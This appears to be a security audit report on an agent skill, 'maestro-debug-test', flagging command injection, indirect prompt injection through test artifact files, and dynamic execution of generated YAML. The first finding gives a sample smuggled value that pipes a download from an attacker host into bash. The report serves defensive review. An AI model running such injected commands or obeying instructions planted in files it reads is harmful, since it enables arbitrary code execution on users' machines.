The Agent Skills Directory

[COMMAND_EXECUTION]: The skill instructions direct the agent to execute shell commands (ls, rm, and maestro test) that directly incorporate a file path provided by the user (<resolved-path>). If a user provides a path containing shell metacharacters (e.g., test.yml; curl http://attacker.com | bash), it could lead to arbitrary command execution on the host environment.
[INDIRECT_PROMPT_INJECTION]: The skill possesses a vulnerability surface for indirect prompt injection as it ingests and processes untrusted data from the workspace environment.
Ingestion points: The agent reads content from external artifacts including commands-*.json, ai-*.json, and .yml test flow files to diagnose failures.
Boundary markers: Absent. The instructions do not specify the use of delimiters or specific warnings to ignore instructions embedded within the data files being read.
Capability inventory: The skill has significant capabilities, including local shell command execution (ls, rm, maestro), file modification (editing YAML flows), and device interaction via MCP tools (user-maestro-run_flow).
Sanitization: Absent. There are no instructions for the agent to validate, sanitize, or escape the content of the test artifacts before using that information to generate fixes or execute further commands.
[DYNAMIC_EXECUTION]: In Step 3b, the skill instructs the agent to dynamically assemble a YAML snippet containing test commands and execute it using the user-maestro-run_flow tool. While intended for functionality, this pattern involves generating and executing code based on runtime diagnostic data, which can be manipulated to achieve unintended execution.

maestro-debug-test